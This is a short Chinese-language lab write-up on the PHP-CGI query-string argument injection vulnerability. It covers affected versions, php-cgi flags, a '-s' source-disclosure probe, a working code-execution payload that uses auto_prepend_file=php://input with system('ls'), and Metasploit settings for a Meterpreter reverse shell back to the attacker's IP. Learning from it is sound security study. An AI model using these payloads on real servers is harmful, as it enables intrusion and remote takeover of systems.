PHP-CGI远程代码执行漏洞
这个古老的漏洞,其实就是用户请求的querystring被作为了php-cgi的参数,命令行参数不仅可以通过
#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。
影响版本
< php-5.3.12php < 5.4.2mod方式、fpm方式不受影响
CGI模式下可控命令行参数
c 指定php.ini文件(PHP的配置文件)的位置n 不要加载php.ini文件d 指定配置项b 启动fastcgi进程s 显示文件源码T 执行指定次该文件h和? 显示帮助
漏洞利用
该站点在8080端口,访问即可
![]()
在后面加上-s,若返回源码,则说明存在此漏洞
http://ip:8080/index.php/?-s
执行代码
这里可以通过使用-d来指定auto_prepend_file制造任意文件包含漏洞,使用burpsuite抓包,然后修改数据包内容。使用“+”代替空格%3d代替“=”
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input<?php echo system("ls"); ?>
反弹shell
这里我用了Metasploit
search php_cgiuse exploit/multi/http/php_cgi_arg_injectionset rhosts 目标ipset rport 8080set payload php/meterpreter/reverse_tcpset lhost 攻击ip
配置如下

配置好了之后执行命令开始攻击

本文深入探讨了PHP-CGI远程代码执行漏洞,解释了如何利用querystring参数进行攻击,包括命令行参数的传递方式,影响的PHP版本,以及如何通过-s参数获取源码,利用-d参数制造任意文件包含漏洞,执行代码和反弹shell的具体步骤。
703

被折叠的 条评论
为什么被折叠?



